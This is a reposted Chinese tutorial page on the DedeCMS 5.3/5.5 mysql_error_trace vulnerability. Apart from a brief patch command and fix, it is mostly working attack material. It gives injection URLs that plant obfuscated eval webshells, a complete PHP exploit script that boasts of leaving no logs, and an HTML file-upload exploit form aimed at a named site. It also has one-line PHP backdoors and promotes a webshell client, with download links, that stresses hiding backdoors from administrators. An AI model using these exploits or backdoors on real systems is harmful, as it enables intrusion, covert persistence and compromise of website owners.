首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 数据库 > Mysql >

批量修理dede mysql_err漏洞

2012-11-03 
批量修复dede mysql_err漏洞本来想用查找替换,但是符号太麻烦了。考虑到文件都是一样的,只好先修改一个,然

批量修复dede mysql_err漏洞
本来想用查找替换,但是符号太麻烦了。考虑到文件都是一样的,只好先修改一个,然后替换就行了。

find ./webfiles -name "dedesql.class.php" -print -exec cp -f ./dedesql.class.php {} \;


--------------------------------
漏洞测试:



1、http://xxx//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>
http://xxx/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace
在data/cache下生成c.php


xxx.com/plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*

xxx.com/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace




2、执行exp,执行成功会在在data/cache下生成t.php小马密码t,官方

此exp得特点是生产t.php得时候不留日志

exp:
<?php
print_r(' 
+----------------------------------------+ 
dedecms v5.5 final getwebshell exploit 
+----------------------------------------+ 
'); 
if ($argc < 3) { 
print_r(' 
+----------------------------------------+ 
Usage: php '.$argv[0].' host path 
host:      target server (ip/hostname) 
path:      path to dedecms 
Example: 
php '.$argv[0].' localhost /dedecms/ 
+----------------------------------------+     
'); 
exit; 

error_reporting(7); 
ini_set('max_execution_time', 0); 

$host = $argv[1]; 
$path = $argv[2]; 

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*'; 
$post_b = 'needCode=aa/../../../data/mysql_error_trace'; 
$shell = 'data/cache/t.php'; 

get_send($post_a); 
post_send('plus/comments_frame.php',$post_b); 
$content = post_send($shell,'t=echo tojen;'); 

if(substr($content,9,3)=='200'){ 
    echo "\nShell Address is:".$host.$path.$shell; 
}else{ 
    echo "\nError."; 

function get_send($url){ 
    global $host, $path; 
    $message = "GET ".$path."$url  HTTP/1.1\r\n"; 
    $message .= "Accept: */*\r\n"; 
    $message .= "Referer: http://$host$path\r\n"; 
    $message .= "Accept-Language: zh-cn\r\n"; 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; 
    $message .= "Host: $host\r\n"; 
    $message .= "Connection: Close\r\n\r\n"; 
    $fp = fsockopen($host, 80); 
    if(!$fp){ 
        echo "\nConnect to host Error"; 
    } 
    fputs($fp, $message); 
     
    $back = ''; 

    while (!feof($fp)) 
        $back .= fread($fp, 1024); 
    fclose($fp); 
    return $back; 
     

function post_send($url,$cmd){ 
     
    global $host, $path; 
    $message = "POST ".$path."$url  HTTP/1.1\r\n"; 
    $message .= "Accept: */*\r\n"; 
    $message .= "Referer: http://$host$path\r\n"; 
    $message .= "Accept-Language: zh-cn\r\n"; 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; 
    $message .= "Host: $host\r\n"; 
    $message .= "Content-Length: ".strlen($cmd)."\r\n"; 
    $message .= "Connection: Close\r\n\r\n"; 
    $message .= $cmd; 
    $fp = fsockopen($host, 80); 
    if(!$fp){ 
        echo "\nConnect to host Error"; 
    } 
    fputs($fp, $message); 
     
    $back = ''; 

    while (!feof($fp)) 
        $back .= fread($fp, 1024); 
    fclose($fp); 
    return $back; 

?>



------------------------------
dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。

假设域名是:www.abc.com 攻击步骤如下:
1. 访问网址:
http://www.abc.com/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
反回错误信息
. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

按确定后的看到第2步骤的信息表示文件木马上传成功。
木马网址:http://www.abc.com/data/a.php
密码:2006888

SEBUG安全建议:
临时解决方案

打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”/*{$savemsg}*/?”.”>”);
替换代码
@fwrite($fp, ‘<’.'?php’.”exit;/*{$savemsg}*/?”.”>”);

清空 data/mysql_error_trace.php 文件内容

-------------------test.html
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
  <input type='hidden' name='activepath' value='/data/cache/' />
  <input type='hidden' name='cfg_basedir' value='../../' />
  <input type='hidden' name='cfg_imgtype' value='php' />
  <input type='hidden' name='cfg_not_allowall' value='txt' />
  <input type='hidden' name='cfg_softtype' value='php' />
  <input type='hidden' name='cfg_mediatype' value='php' />
  <input type='hidden' name='f' value='form1.enclosure' />
  <input type='hidden' name='job' value='upload' />
  <input type='hidden' name='newname' value='fly.php' />
  Select U Shell <input type='file' name='uploadfile' size='25' />
  <input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>



漏洞分析:
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。

解决方案:

打开文件 include/dedesql.class.php
找到代码
@fwrite($fp, ‘<’.'?php’.”\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);
替换代码
@fwrite($fp, ‘<’.'?php’.”\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?”.”>\r\n”);

清空 data/mysql_error_trace.php 文件内容





一句话:
<?php eval($_POST['c'])?>
<?php eval($_REQUEST['c'])?>

海洋顶端有个一键提交版的ASP一句话客户端,很方便,一次提交之后,一句话就可以当大马用了。

但是PHP一句话一直没有见这样的客户端,网上居然还有转的到处都是的工具,结果下载下来不能用。

比较喜欢一句话的一键提交这种形式,所以花了2x半个通宵的时间做了这个东西,思路参考的是海洋,客户端的CSS也是修改它的,呵呵。

由于一键提交版的特殊性,暂时是不能随心所欲的换密码的,这个客户端的密码是字母c。


大概原理:

一键提交版的一句话客户端连接成功之后,每次POST数据的时候, 假设一句话密码是c,都要先让本地表单:

c = session_start();eval($_SESSION[chr(120)]); 

chr(120)就是字母c,为了避免单引号写成chr(120)形式。

然后一句话在eval($_POST[c])的时候,才能执行保存在Session中的我们的PHP代码。

想用其它密码的朋友可以依据这个原理修改。






零魂PHP一句话木马客户端(一键提交版)
2009/10/28 17:56
Author:零魂(zerosoul)

V0.2
2009-11-11(正好是光棍节,晕~)更新内容:
-----------------------------
1.修补了下原始版本有些服务器不能正常运行的大Bug。
2.去掉了提交后的登陆密码验证,提交后直接进入大马界面。

-----------------------------
更新说明:
-----------------------------

这玩意本来就是为了方便自己做的,所以本来只打算对自己负责,呵呵。好马好工具如果传出来必然被传烂掉,但这东西无所谓,又不是多特别的东西,但有时候用着比较方便,所以发出来也无妨。

但是发出来后有朋友告诉我有些服务器上运行没成功,心里顿觉愧疚,发个小东西出来,结果功能还有问题,岂不是欺骗大众。但是一直在忙,除了当时做的 时候之外,几乎再没去测试过。昨晚hiphop兄给我说他那有台服务器用不起,本来打算让他发Shell来我正好测试下具体原因,结果他说他已经测试了并 告诉是magic_quotes_gpc的原因(是个低级错误...),得谢谢他。
然后花了个把小时详细测试并修改了下

相关关键代码:

session_start();$_SESSION[chr(99)]=get_magic_quotes_gpc()?stripslashes($_POST[chr(100)]):$_POST[chr(100)];eval($_SESSION[chr(99)]);

-----------------------------
现在的版本magic_quotes_gpc On和Off都测试OK,不过不知道还有没有其它会造成不正常的因素,实在懒的自己去一个一个测试了,等遇到了再说吧,也欢迎大家反馈。
-----------------------------

下载:
http://evilwares.appspot.com/down/zerosoul_PHP_eval_Client_v0.2.rar

在线使用:
http://evilwares.appspot.com/static/eval.html

--------------------

前天通宵到后半夜的时候,总觉得自己最近都没干什么实事,觉得有点虚度的味道,心中不免有些自责。为了宽慰自己,决定做点正事。然后就啥都没干,坐着干想该做什么。一直想到快天亮,总算想出点东西来了(- -!),也就是现在发布的这个东西。

海洋顶端有个一键提交版的ASP一句话客户端,很方便,一次提交之后,一句话就可以当大马用了。用这种客户端的话,留一句话的shell也就麻烦不到哪去了,而且把一句话藏在正常文件里面,再把时间改回正常,访问只用POST的话,基本是很难发现的。

但是PHP一句话一直没有见这样的客户端(不知道是不是我孤弱寡闻),网上居然还有转载的到处都是的工具,结果下载下来不能用.....
比较喜欢一句话的一键提交这种形式,所以花了2 x 半个通宵的时间做了这个东西,思路参考的是海洋,客户端的CSS也是修改它的,呵呵。

注意:

由于一键提交版的特殊性,暂时是不能随心所欲的换密码的,这个客户端的密码是字母c。(海洋的也是这样)。这个问题并不是不能解决,但是比较麻烦,所以还不如就用这密码呢,呵呵。

特点:

1.填好一句话WebShell地址和密码并点提交之后,后续操作不用再依赖客户端,基本上剩下的和操作大马没什么两样。

2.完全POST提交,避免了WebServer记录敏感数据。如果一句话插在有正常用户访问的PHP文件的话,插完时间也改回来了,那么管理员发现的概率就相当低了。(海洋的不是全POST)

大概原理:

一键提交版的一句话客户端连接成功之后,每次POST数据的时候, 假设一句话密码是c,都要先让本地表单:

c = session_start();eval($_SESSION[chr(120)]);

chr(120)就是字母c,为了避免单引号写成chr(120)形式。

然后一句话在eval($_POST[c])的时候,才能执行保存在Session中的我们的PHP代码。

http://evilwares.appspot.com/down/zerosoul_PHP_eval_Client_v0.2.rar

想用其它密码的朋友可以依据这个原理修改。




http://huaidan.org/archives/3390.html

热点排行